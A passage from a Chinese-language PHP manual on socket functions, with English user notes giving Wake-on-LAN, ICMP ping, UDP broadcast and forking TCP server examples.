        exec("ifconfig | grep Bcast | cut -d \":\" -f 3 | cut -d \" \" -f 1",$addr);
        $addr=array_flip(array_flip($addr));
    }
    if(is_array($addr)){
        $last_ret=false;
        for ($i=0;$i<count($ret);$i++)
            if ($ret[$i]!==false)
                $last_ret=wake_on_lan($mac,$ret[$i],$port);
        return($last_ret);
    }
    if (is_array($mac)){
        $ret=array();
        foreach($mac as $k=>v)
            $ret[$k]=wake_on_lan($v,$addr,$port);
        return($ret);
    }
    //Check if it's an real MAC-addres and split it into an array
    $mac=strtoupper($mac);
    if (!preg_match("/([A-F0-9]{1,2}[-:]){5}[A-F0-9]{1,2}/",$mac,$maccheck))
        return false;
    $addr_byte = preg_split("/[-:]/",$maccheck[0]);

    //Creating hardware adress
    $hw_addr = '';
    for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
        $hw_addr .= chr(hexdec($addr_byte[$a]));

    //Create package data
    $msg = str_repeat(chr(255),6);
    for ($a = 1; $a <= 16; $a++)
        $msg .= $hw_addr;
    //Sending data
    if (function_exists('socket_create')){
        //socket_create exists
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);    //Can create the socket
        if ($sock){
            $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
            if ($sock_data){
                $sock_data = socket_sendto($sock, $msg, strlen($msg), 0, $addr,$port); //Send data
                if ($sock_data){
                    socket_close($sock); //Close socket
                    unset($sock);
                    return(true);
                }
            }
        }
        @socket_close($sock);
        unset($sock);
    }
    $sock=fsockopen("udp://" . $addr, $port);
    if($sock){
        $ret=fwrite($sock,$msg);
        fclose($sock);
    }
    if($ret)
        return(true);
    return(false);
}
?>
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:13
There is a fantastic book on this library called 'TCP/IP Sockets in C' (ISBN 1558608265), that covers all of the ins and outs, quirks, and everything else that goes on. It's written for C, of course, but it could have easily been written for PHP with almost no serious code differences.

Dustin
f.moisant 18-May-2006 05:41
This function to send Magic Packet works really !!!

/********/
<?php
function wake($ip, $mac, $port)
{
  $nic = fsockopen("udp://" . $ip, $port);
  if($nic)
  {
    $packet = "";
    for($i = 0; $i < 6; $i++)
       $packet .= chr(0xFF);
    for($j = 0; $j < 16; $j++)
    {
      for($k = 0; $k < 6; $k++)
      {
        $str = substr($mac, $k * 2, 2);
        $dec = hexdec($str);
        $packet .= chr($dec);
      }
    }
    $ret = fwrite($nic, $packet);
    fclose($nic);
    if($ret)
      return true;
  }
  return false;
}
?>

/********/

Executed with:
wake('123.123.123.123', '112233445566', 9);
goldemish at tiscali dot it 24-Apr-2006 06:52
Function to send Magic Packets for Wake on Wan (WOW) or Wake on Lan(WOL), without sockets library.

<?
function WakeOnLan($ip, $mac, $port)
{
        $packet = "";
        for($i = 0; $i < 6; $i++) $packet .= chr(0xFF);
        for($i = 0; $i < 6; $i++) $packet .= chr((int)substr($mac, $i, $i + 2));
        $nic = fsockopen("udp://" . $ip, $port));
        if($nic==false){
            return false;
            fclose($nic);
        }
        fwrite($nic, $packet);
        fclose($nic);
        return true;
}
?>
bmatheny at mobocracy dot net 16-Sep-2005 06:31
A multicast server can be written badly as follows:

$bc_string = "Hello World!";
$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
$opt_ret = socket_set_option($sock, 1, 6, TRUE);
$send_ret = socket_sendto($sock, $bc_string, strlen($bc_string), 0, '230.0.0.1', 4446);

Checking the return types is needed, but this does allow for you to multicast from php code.
philip at birk-jensen dot dk 22-Aug-2005 06:22
I've been using the ICMP Checksum calculation function written by Khaless [at] bigpond [dot] com. But when having an odd length of data, it failed, so I made my own instead, which adds a 0 if the data length is odd:
<?php
function icmpChecksum($data)
{
    // Add a 0 to the end of the data, if it's an "odd length"
    if (strlen($data)%2)
        $data .= "\x00";

    // Let PHP do all the dirty work
    $bit = unpack('n*', $data);
    $sum = array_sum($bit);

    // Stolen from: Khaless [at] bigpond [dot] com
    // The code from the original ping program:
    //    sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
    //    sum += (sum >> 16);            /* add carry */
    // which also works fine, but it seems to me that
    // Khaless will work on large data.
    while ($sum>>16)
        $sum = ($sum >> 16) + ($sum & 0xffff);

    return pack('n*', ~$sum);
}
?>
aidan at php dot net 18-Aug-2004 05:08
hexdump() is a fantastic function for "dumping" packets or binary output from servers. See the below link for more information.

http://aidanlister.com/repos/v/function.hexdump.php
noSanity 17-May-2004 07:40
I have searched long and hard for a ping script that does NOT use EXEC() or SYSTEM(). So far, I have found nothing, so I decided to write my own, which was a task to say the least.

First off, I would like to thank Khaless for their checksum function, converting it from C looked like a task in itself.

Here is the class I wrote
<?php

class Net_Ping
{
  var $icmp_socket;
  var $request;
  var $request_len;
  var $reply;
  var $errstr;
  var $time;
  var $timer_start_time;
  function Net_Ping()
  {
    $this->icmp_socket = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_block($this->icmp_socket);
  }

  function ip_checksum($data)
  {
     for($i=0;$i<strlen($data);$i += 2)
     {
         if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
         else $bits = unpack('C*',$data[$i]);
         $sum += $bits[1];
     }

     while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
     $checksum = pack('n1',~$sum);
     return $checksum;
  }

  function start_time()
  {
    $this->timer_start_time = microtime();
  }

  function get_time($acc=2)
  {
    // format start time
    $start_time = explode (" ", $this->timer_start_time);
    $start_time = $start_time[1] + $start_time[0];
    // get and format end time
    $end_time = explode (" ", microtime());
    $end_time = $end_time[1] + $end_time[0];
    return number_format ($end_time - $start_time, $acc);
  }

  function Build_Packet()
  {
    $data = "abcdefghijklmnopqrstuvwabcdefghi"; // the actual test data
    $type = "\x08"; // 8 echo message; 0 echo reply message
    $code = "\x00"; // always 0 for this program
    $chksm = "\x00\x00"; // generate checksum for icmp request
    $id = "\x00\x00"; // we will have to work with this later
    $sqn = "\x00\x00"; // we will have to work with this later

    // now we need to change the checksum to the real checksum
    $chksm = $this->ip_checksum($type.$code.$chksm.$id.$sqn.$data);

    // now lets build the actual icmp packet
    $this->request = $type.$code.$chksm.$id.$sqn.$data;
    $this->request_len = strlen($this->request);
  }

  function Ping($dst_addr,$timeout=5,$percision=3)
  {
    // lets catch dumb people
    if ((int)$timeout <= 0) $timeout=5;
    if ((int)$percision <= 0) $percision=3;

    // set the timeout
    socket_set_option($this->icmp_socket,
      SOL_SOCKET,  // socket level
      SO_RCVTIMEO, // timeout option
      array(
       "sec"=>$timeout, // Timeout in seconds
       "usec"=>0  // I assume timeout in microseconds
       )
      );

    if ($dst_addr)
    {
      if (@socket_connect($this->icmp_socket, $dst_addr, NULL))
      {

      } else {
        $this->errstr = "Cannot connect to $dst_addr";
        return FALSE;
      }
      $this->Build_Packet();
      $this->start_time();
      socket_write($this->icmp_socket, $this->request, $this->request_len);
      if (@socket_recv($this->icmp_socket, &$this->reply, 256, 0))
      {
        $this->time = $this->get_time($percision);
        return $this->time;
      } else {
        $this->errstr = "Timed out";
        return FALSE;
      }
    } else {
      $this->errstr = "Destination address not specified";
      return FALSE;
    }
  }
}

$ping = new Net_Ping;
$ping->ping("www.google.ca");

if ($ping->time)
  echo "Time: ".$ping->time;
else
  echo $ping->errstr;

?>

Hope this saves some troubles.

noSanity
Khaless [at] bigpond [dot] com 18-Jan-2004 09:55
I spent a while trying to use SOCK_RAW to send ICMP request packets so i could ping. This however lead me to need the internet checksum written as a php function, which was a little hard because of the way PHP handles variable types. Anyway, to save others the effort heres what i came up with, this returns Checksum for $data

<?PHP
// Computes Internet Checksum for $data
// will return a 16-bit internet checksum for $data
function inetChecksum($data)
{
    // 32-bit accumilator, 16 bits at a time, adds odd bit on at end
    for($i=0;$i<strlen($data);$i += 2)
    {
        if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
        else $bits = unpack('C*',$data[$i]);
        $sum += $bits[1];
    }

    // Fold 32-bit sum to 16 bits
    while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
    $checksum = pack('n1',~$sum);
    return $checksum;
}
?>

And with this i was able to construct a correct PING Request.
murzik [at] pisem dot net 06-Oct-2003 04:32
>The function, that send the WakeOnLan (WOL, Magic packet) signal:

<?php
# Wake on LAN - (c) HotKey (at SPR dot AT), upgraded by Murzik <tomurzik@inbox.ru>

flush();

function WakeOnLan($addr, $mac)
{
 $addr_byte = explode(':', $mac);
 $hw_addr = '';

 for ($a=0; $a < 6; $a++) $hw_addr .= chr(hexdec($addr_byte[$a]));

 $msg = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);

 for ($a = 1; $a <= 16; $a++)    $msg .= $hw_addr;

 // send it to the broadcast address using UDP
 // SQL_BROADCAST option isn't help!!
 $s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
 if ($s == false)
 {
  echo "Error creating socket!\n";
  echo "Error code is '".socket_last_error($s)."' - " . socket_strerror(socket_last_error($s));
 }
 else
 {
 // setting a broadcast option to socket:
  $opt_ret =  socket_set_option($s, 1, 6, TRUE);
  if($opt_ret < 0)
  {
   echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
  }
  $e = socket_sendto($s, $msg, strlen($msg), 0, $addr, 2050);
  socket_close($s);
  echo "Magic Packet sent (".$e.") to ".$addr.", MAC=".$mac;
 }
}

#WakeOnLan('yourIPorDomain.dyndns.org', 'your:MAC:address');
#WakeOnLan('192.168.0.2', '00:30:84:2A:90:42');
#WakeOnLan('192.168.1.2', '00:05:1C:10:04:05');

//if you have switch or other routing devices in LAN, sendign to
// the local IP isn't helps! you need send to the broadcast address like this:
WakeOnLan('192.168.1.255', '00:05:1C:10:04:05');

?>
talmage at usi-rpg dot com 04-Jan-2003 12:02
I have spent the past two days ripping out hair trying to figure out how to prevent zombie processes w/the examples above and I just happend to find this in the manual for another lanuage, felt it neccassry to port it here.

--begin copy--
van[at]webfreshener[dot]com
11-Oct-2002 02:53

Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding <b>--enable-sigchild</b> to your configure will get rid of the problem.

Hope that saves some hair tearing :]

--end copy--

Thanks vam@wenfreshener.com !!!!
saryon at unfix dot org 09-Jul-2002 09:42
I found this EXTREMELY useful link on the zend php
mailing list:

http://www.zend.com/lists/php-dev/200205/msg00286.html

It's about being able to use multiple connections
in a php socket server, WITHOUT having
to use those threads everyone seems to be
so very fond of.
works very well :)
(ps: i didn't make it, so....don't say thanks to me ;),
thank him)
daniel[at]lorch.cc 22-Feb-2002 09:32
"Beej's Guide to Network Programming" is an absolutely excellent and easy to understand tutorial to socket programming. It was written for C developers, but as the socket functions in PHP are (almost) analoguous, this should not be a problem.

http://www.ecst.csuchico.edu/~beej/guide/net/
judeman at yahoo dot com 04-Jun-2001 10:49
After several hours of working with sockets in an attempt to do UDP broadcasting, I thought a little help was in order for anyone else looking to do something similar, since it uses a number of those "undocumented" functions.  Here's how I did it:

<?php
    // here is a basic opening of the a socket.  AF_INET specifies the internet domain.  SOCK_DGRAM
// specifies the Datagram socket type the 0 specifies that I want to use the default protcol (which in this
// case is UDP)
    $sock = socket(AF_INET, SOCK_DGRAM, 0);

    // if the file handle assigned to socket is less than 0 then opening the socket failed
    if($sock < 0)
    {
        echo "socket() failed, error: " . strerror($sock) . "\n";
    }

    // here's where I set the socket options, this is essential to allow broadcasting.  An earlier comment (as of
// June 4th, 2001) explains what the parameters are.  For my purposes (UDP broadcasting) I need to set
// the broadcast option at the socket level to true.  In C, this done using SOL_SOCKET as the level param
// (2) and SO_BROADCAST as the type param (3).  These may exist in PHP but I couldn't reference them
// so I used the values that referencing these variables in C returns (namely 1 and 6 respectively).  This
// function is basically just a wrapper to the C  function so check out the C documentation for more info
    $opt_ret = setsockopt($sock, 1, 6, TRUE);

    // if the return value is less than one, an error occured setting the options
    if($opt_ret < 0)
    {
        echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
    }

    // finally I am ready to broad cast something.  The sendto function allows this without any
// connections (essential for broadcasting).  So, this function sends the contents of $broadcast_string to the
// general broadcast address (255.255.255.255) on port 4096.  The 0 (param 4) specifies no special
// options, you can read about the options with man sendto
    $send_ret = sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', 4096);

// if the return value is less than 0, an error has occured
    if($send_ret < 0)
    {
    echo "sendto() failed, error: " . strerror($send_ret) . "<BR>\n";            }
// be sure to close your socket when you're done
close($sock);


接受套接字上的连接

  • ? Socket 函数
  • socket_addrinfo_bind ?
  • PHP Manual
  • Socket 函数
  • 接受套接字上的连接

socket_accept

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_accept — 接受套接字上的连接

说明

socket_accept(Socket $socket): Socket|false

socket 是从 socket_create() 创建，使用
socket_bind() 绑定，socket_listen() 监听的一个套接字实例。此函数接受在
socket 上创建的连接。当连接被成功创建后，返回一个可用于通信的
Socket 实例。若有多个连接排队，返回队头第一个连接。若没有待处理的连接，那么
socket_accept() 默认阻塞，直到有一个连接出现。如果
socket 使用 socket_set_blocking() 或
socket_set_nonblock() 设置为非阻塞，那么
socket_accept() 将直接返回 false。

socket_accept() 返回的 Socket 实例不能用于接受新的连接。但 socket 依然保持打开状态，并且可以继续接受新的连接。

参数

socket

使用 socket_create() 创建的 Socket 实例。

返回值

成功时返回一个新的 Socket 实例，错误时返回 false。可以通过调用 socket_last_error() 来检索实际的错误代码。将错误代码作为参数传递给 socket_strerror() 以获得错误的文本解释。

更新日志

版本 | 说明
8.0.0 | 成功时，该函数现在返回一个 Socket 实例；在此之前，返回值是一个 resource。

参见

  • socket_connect() - 开启一个套接字连接
  • socket_listen() - 监听套接字的连接
  • socket_create() - 创建一个套接字（通讯节点）
  • socket_bind() - 给套接字绑定名字
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 06:25
<explain>
 This case is a very simple interaction between the TCP client side and the TCP server side

<?php
// create for simple-tcp-server
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1);
$clnt_sock = socket_accept($sock); //阻塞
$st = "hello world ^_^";
socket_write($clnt_sock, $st,strlen($st));
socket_close($clnt_sock);
socket_close($sock);
?>

<?php
//create for simple-tcp-client
$clnt_sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_connect($clnt_sock, '127.0.0.1', 5000);
$ret= socket_read($clnt_sock, 1024);
print "from simple-tcp-server:".$ret.PHP_EOL;
socket_close($clnt_sock);
?>

<fruit>
from simple-tcp-server:hello world ^_^
mightyplow at gmail dot com 18-May-2014 02:47
In order to make many clients connectable to the server, you have to set the accepted socket also to non-blocking. Otherwise the accepted connection will block further incoming connections.

while (true) {
    $newSock = @socket_accept($sock);

    if ($newSock) {
        echo 'client connected';

        socket_set_nonblock($newSock);
    }
}
Boylett 18-Apr-2008 09:01
If you want to have multiple clients on a server you will have to use non blocking.

<?php

$clients = array();
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_bind($socket,'127.0.0.1',$port);
socket_listen($socket);
socket_set_nonblock($socket);

while(true)
{
    if(($newc = socket_accept($socket)) !== false)
    {
        echo "Client $newc has connected\n";
        $clients[] = $newc;
    }
}

?>
lars at opdenkamp dot eu 29-Jan-2008 04:35
If you want to make a daemon process that forks on each client connection, you'll find out that there's a bug in PHP. The child processes send SIGCHLD to their parent when they exit but the parent can't handle signals while it's waiting for socket_accept (blocking).

Here is a piece of code that makes a non-blocking forking server.

#!/usr/bin/php -q
<?php
/**
  * Listens for requests and forks on each connection
  */

$__server_listening = true;

error_reporting(E_ALL);
set_time_limit(0);
ob_implicit_flush();
declare(ticks = 1);

become_daemon();

/* nobody/nogroup, change to your host's uid/gid of the non-priv user */
change_identity(65534, 65534);

/* handle signals */
pcntl_signal(SIGTERM, 'sig_handler');
pcntl_signal(SIGINT, 'sig_handler');
pcntl_signal(SIGCHLD, 'sig_handler');

/* change this to your own host / port */
server_loop("127.0.0.1", 1234);

/**
  * Change the identity to a non-priv user
  */
function change_identity( $uid, $gid )
{
    if( !posix_setgid( $gid ) )
    {
        print "Unable to setgid to " . $gid . "!\n";
        exit;
    }

    if( !posix_setuid( $uid ) )
    {
        print "Unable to setuid to " . $uid . "!\n";
        exit;
    }
}

/**
  * Creates a server socket and listens for incoming client connections
  * @param string $address The address to listen on
  * @param int $port The port to listen on
  */
function server_loop($address, $port)
{
    GLOBAL $__server_listening;

    if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        echo "failed to create socket: ".socket_strerror($sock)."\n";
        exit();
    }

    if(($ret = socket_bind($sock, $address, $port)) < 0)
    {
        echo "failed to bind socket: ".socket_strerror($ret)."\n";
        exit();
    }

    if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )
    {
        echo "failed to listen to socket: ".socket_strerror($ret)."\n";
        exit();
    }

    socket_set_nonblock($sock);

    echo "waiting for clients to connect\n";

    while ($__server_listening)
    {
        $connection = @socket_accept($sock);
        if ($connection === false)
        {
            usleep(100);
        }elseif ($connection > 0)
        {
            handle_client($sock, $connection);
        }else
        {
            echo "error: ".socket_strerror($connection);
            die;
        }
    }
}

/**
  * Signal handler
  */
function sig_handler($sig)
{
    switch($sig)
    {
        case SIGTERM:
        case SIGINT:
            exit();
        break;

        case SIGCHLD:
            pcntl_waitpid(-1, $status);
        break;
    }
}

/**
  * Handle a new client connection
  */
function handle_client($ssock, $csock)
{
    GLOBAL $__server_listening;

    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        die;
    }elseif ($pid == 0)
    {
        /* child process */
        $__server_listening = false;
        socket_close($ssock);
        interact($csock);
        socket_close($csock);
    }else
    {
        socket_close($csock);
    }
}

function interact($socket)
{
    /* TALK TO YOUR CLIENT */
}

/**
  * Become a daemon by forking and closing the parent
  */
function become_daemon()
{
    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        exit();
    }elseif ($pid)
    {
        /* close the parent */
        exit();
    }else
    {
        /* child becomes our daemon */
        posix_setsid();
        chdir('/');
        umask(0);
        return posix_getpid();

    }
}

?>
gmkarl at gmail dot com 22-May-2007 09:15
Be aware signal handler functions set with pcntl_signal are not called while a socket is blocking waiting for a connection; the signal is absorbed silently and the handler called when a connection is made.
simon at 180solutions dot com 16-May-2005 08:11
>Accepting a connection using php-sockets:
>
>$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR >getprotobyname("TCP")*/);
>
>$PORT = 5000;
>
>socket_bind($fd, "0.0.0.0", $PORT);
>
>while(true)
>{
>$remote_fd = socket_accept($fd);
>
>remote_socket_client_handle($remote_fd);
>
>}
>
>It is simple!

This example doesn't work. You have to call socket_listen($fd) after your bind in order to accept incoming connections.

Simon
Greg MacLellan 11-Dec-2003 12:49
The socket returned by this resource will be non-blocking, regardless of what the listening socket is set to. This is actually true for all FCNTL modifiers.


从给定的 addrinfo 创建并绑定一个套接字

  • ? socket_accept
  • socket_addrinfo_connect ?
  • PHP Manual
  • Socket 函数
  • 从给定的 addrinfo 创建并绑定一个套接字

socket_addrinfo_bind

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_bind — 从给定的 addrinfo 创建并绑定一个套接字

说明

socket_addrinfo_bind(AddressInfo $address): Socket|false

使用给定的 AddressInfo 创建并绑定一个 Socket 实例。此函数的返回值可以被 socket_listen() 使用。

参数

address

从 socket_addrinfo_lookup() 创建的 AddressInfo 实例。

返回值

成功时返回一个 Socket 实例，失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，该函数现在返回一个 Socket 实例；在此之前，返回值是一个 resource。
8.0.0 | 现在 address 是 AddressInfo 实例， 之前是 resource。

参见

  • socket_addrinfo_connect() - 指定 addrinfo 创建并连接套接字
  • socket_addrinfo_explain() - 获取有关 addrinfo 的信息
  • socket_addrinfo_lookup() - 获取数组，包含有关给定主机名的 getaddrinfo 内容
  • socket_listen() - 监听套接字的连接

User Contributed Notes

There are no user contributed notes for this page.


指定 addrinfo 创建并连接套接字

  • ? socket_addrinfo_bind
  • socket_addrinfo_explain ?
  • PHP Manual
  • Socket 函数
  • 指定 addrinfo 创建并连接套接字

socket_addrinfo_connect

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_connect — 指定 addrinfo 创建并连接套接字

说明

socket_addrinfo_connect(AddressInfo $address): Socket|false

创建 Socket 实例，并连接到 AddressInfo 实例。此函数的返回值可以和其余套接字函数一起使用。

参数

address

从 socket_addrinfo_lookup() 创建的 AddressInfo 实例。

返回值

成功时返回 Socket 实例，失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在该函数成功时返回 Socket 实例；在此之前，返回值是 resource。
8.0.0 | 现在 address 是 AddressInfo 实例， 之前是 resource。

参见

  • socket_addrinfo_bind() - 从给定的 addrinfo 创建并绑定一个套接字
  • socket_addrinfo_explain() - 获取有关 addrinfo 的信息
  • socket_addrinfo_lookup() - 获取数组，包含有关给定主机名的 getaddrinfo 内容

User Contributed Notes

There are no user contributed notes for this page.


获取有关 addrinfo 的信息

  • ? socket_addrinfo_connect
  • socket_addrinfo_lookup ?
  • PHP Manual
  • Socket 函数
  • 获取有关 addrinfo 的信息

socket_addrinfo_explain

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_explain — 获取有关 addrinfo 的信息

说明

socket_addrinfo_explain(AddressInfo $address): array

socket_addrinfo_explain() 显露底层的 addrinfo 结构体。

参数

address

从 socket_addrinfo_lookup() 创建的 AddressInfo 实例。

返回值

返回包含 addrinfo 结构体字段的数组。

更新日志

版本 | 说明
8.0.0 | 现在 address 是 AddressInfo 实例， 之前是 resource。

参见

  • socket_addrinfo_bind() - 从给定的 addrinfo 创建并绑定一个套接字
  • socket_addrinfo_connect() - 指定 addrinfo 创建并连接套接字
  • socket_addrinfo_lookup() - 获取数组，包含有关给定主机名的 getaddrinfo 内容

User Contributed Notes

There are no user contributed notes for this page.


获取数组，包含有关给定主机名的 getaddrinfo 内容

  • ? socket_addrinfo_explain
  • socket_atmark ?
  • PHP Manual
  • Socket 函数
  • 获取数组，包含有关给定主机名的 getaddrinfo 内容

socket_addrinfo_lookup

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_lookup — 获取数组，包含有关给定主机名的 getaddrinfo 内容

说明

socket_addrinfo_lookup(string $host, ?string $service = null, array $hints = []): array|false

查找可以连接到 host 的不同方式。返回的数组包含 AddressInfo 实例列表，可以使用 socket_addrinfo_bind() 绑定这些实例。

参数

host

搜索的主机名。

service

要连接的服务。如果 service 是字符串数字，它指定为端口号。否则指定的是一个网络服务名称，会被操作系统映射到对应端口。

hints

Hints 提供了选择返回地址的标准。可以指定为由 getaddrinfo 定义的 hints 结构。

返回值

返回可以与其他 socket_addrinfo 函数一起使用的 AddressInfo 实例数组。失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，现在函数返回 AddressInfo 实例数组。在此之前，返回的是 resource 数组。
8.0.0 | service 现在允许为 null。

参见

  • socket_addrinfo_bind() - 从给定的 addrinfo 创建并绑定一个套接字
  • socket_addrinfo_connect() - 指定 addrinfo 创建并连接套接字
  • socket_addrinfo_explain() - 获取有关 addrinfo 的信息

User Contributed Notes

There are no user contributed notes for this page.


确认 socket 是否处于带外数据标记

  • ? socket_addrinfo_lookup
  • socket_bind ?
  • PHP Manual
  • Socket 函数
  • 确认 socket 是否处于带外数据标记

socket_atmark

(PHP 8 >= 8.3.0, PHP 8)

socket_atmark — 确认 socket 是否处于带外数据标记

说明

socket_atmark(Socket $socket): bool

确认 socket 是否处于带外数据标记。

参数

socket

使用 socket_create() 创建的 Socket 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 使用 socket_atmark() 设置源地址

<?php
// 创建新 socket
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
var_dump(socket_atmark($sock));
// 关闭
socket_close($sock);
?>

参见

  • socket_connect() - 开启一个套接字连接
  • socket_create() - 创建一个套接字（通讯节点）

User Contributed Notes

There are no user contributed notes for this page.


给套接字绑定名字

  • ? socket_atmark
  • socket_clear_error ?
  • PHP Manual
  • Socket 函数
  • 给套接字绑定名字

socket_bind

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_bind — 给套接字绑定名字

说明

socket_bind(Socket $socket, string $address, int $port = 0): bool

绑定 address 到 socket。 该操作必须是在使用 socket_connect() 或者 socket_listen() 建立一个连接之前。

参数

socket

用 socket_create() 创建的 Socket 实例。

address

如果套接字是 AF_INET 族，那么 address 必须是一个四点分法的 IP 地址（例如 127.0.0.1 ）。

如果套接字是 AF_UNIX 族，那么 address 是 Unix 域套接字的路径（例如 /tmp/my.sock ）。

port （可选）

参数 port 仅仅用于 AF_INET 套接字连接的时候，并且指定连接中需要监听的端口号。

返回值

成功时返回 true， 或者在失败时返回 false。

使用 socket_last_error() 检索错误代码，如果将此代码传入 socket_strerror() 则可以得到错误的文字说明。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。

示例

Example #1 使用 socket_bind() 来设置源地址

<?php
// 创建新的套接字
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 计算机拥有的 IP 地址示例列表
$sourceips['kevin'] = '127.0.0.1';
$sourceips['madcoder'] = '127.0.0.2';

// 绑定源地址
socket_bind($sock, $sourceips['madcoder']);

// 连接到目标地址
socket_connect($sock, '127.0.0.1', 80);

// 写入
$request = 'GET / HTTP/1.1' . "\r\n" .
'Host: example.com' . "\r\n\r\n";
socket_write($sock, $request);

// 关闭
socket_close($sock);

?>

注释

Note:

该函数必须在 socket_connect() 之前使用。

Note:

Windows 9x/ME 兼容性注意点: 如果尝试绑定套接字资源到一个错误的地址，而这个地址不是本机的地址，那么 socket_last_error() 可能会返回一个无效的错误代码。

参见

  • socket_connect() - 开启一个套接字连接
  • socket_listen() - 监听套接字的连接
  • socket_create() - 创建一个套接字（通讯节点）
  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

ealexs at gmail dot com 22-Feb-2022 12:25
I am posting this as I've spent a few hours debugging this.

If you use socket_create / socket_bind with Unix domain sockets, then using socket_close at the end is not sufficient. You will get "address already in use" the second time you run your script. Call unlink on the file that is used for Unix domain sockets, preferably before you start to create the socket.

<?php

$socket_file = "./test.sock";

if (file_exists($socket_file))
        unlink($socket_file);
# optional file lock
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
# ... socket_set_option ...
socket_bind($socket, $socket_file);
# ...
socket_close($socket);
# optional : release lock
unlink($socket_file);

?>
gabriel at plenitech dot fr 23-Jun-2013 12:29
When doing Unix sockets, it might be necessary to chmod the socket file so as to give Write permission to Group and/or Others. Otherwise, only the owner is allowed to write data into the stream.

Example:

<?php
$sockpath = '/tmp/my.sock';
socket_bind($socket, $sockpath);
//here: write-only (socket_send) to others, only owner can fetch data.
chmod($sockpath, 0702);
?>
dresende at thinkdigital dot pt 21-Nov-2011 09:39
Regarding previous post:

"0" has address is no different from "0.0.0.0"

127.0.0.1 -> accept only from local host
w.x.y.z (valid local IP) -> accep only from this network
0.0.0.0 -> accept from anywhere
Mex 13-Sep-2011 05:25
It appears for the $address parameter:

'127.0.0.1'
accepts clients from localhost (eg. 127.0.0.1)

'0.0.0.0'
accepts clients from localhost, and the server's network (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40)

'0' or 0
accepts clients from localhost, the server's network, and external networks (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40, 209.85.169.99)
php50613160534 dot 3 dot korkman at spamgourmet dot org 13-Jun-2005 06:16
Use 0 for port to bind a random (free) port for incoming connections:

socket_bind ($socket, $bind_address, 0);
socket_getsockname($socket, $socket_address, $socket_port);
socket_listen($socket);
...

$socket_port contains the assigned port, you might want to send it to a remote client connecting. Tested with php 5.03.
gasket at cekkent dot net 03-May-2003 06:19
The aforementioned tidbit about using NULL to bind to all addresses did not work for me, as I would receive an error about unknown address. Using a 0 worked for me:

socket_bind ($socket, 0, $port)

This also allows you to receive UDP broadcasts, which is what I had been trying to figure out.
keksov[at]gmx.de 10-Jun-2002 11:22
If you want to reuse address and port, and get rid of error: unable to bind, address already in use, you have to use socket_setopt (check actual spelling for this function in you PHP verison) before calling bind:

<?php
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo socket_strerror(socket_last_error($sock));
    exit;
}
?>

This solution was found by
Christophe Dirac. Thank you Christophe!


清除套接字或者最后的错误代码上的错误

  • ? socket_bind
  • socket_close ?
  • PHP Manual
  • Socket 函数
  • 清除套接字或者最后的错误代码上的错误

socket_clear_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

socket_clear_error — 清除套接字或者最后的错误代码上的错误

说明

socket_clear_error(?Socket $socket = null): void

这个函数清除给定的套接字上的错误代码或是最后一个全局的套接字如果套接字没有指定的话。

这个函数允许明确的重置错误代码值 不论是一个套接字或者最后全局错误代码的扩展， 这对在检测应用的一部分是否有错误发生是十分有用的。

参数

socket

用 socket_create() 创建的 Socket 实例。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | 现在 socket 是 Socket 实例， 之前是 resource。
8.0.0 | 参数 socket 可以为 null。

参见

  • socket_last_error() - 返回套接字上的最后一个错误
  • socket_strerror() - 返回描述套接字错误的字符串

User Contributed Notes

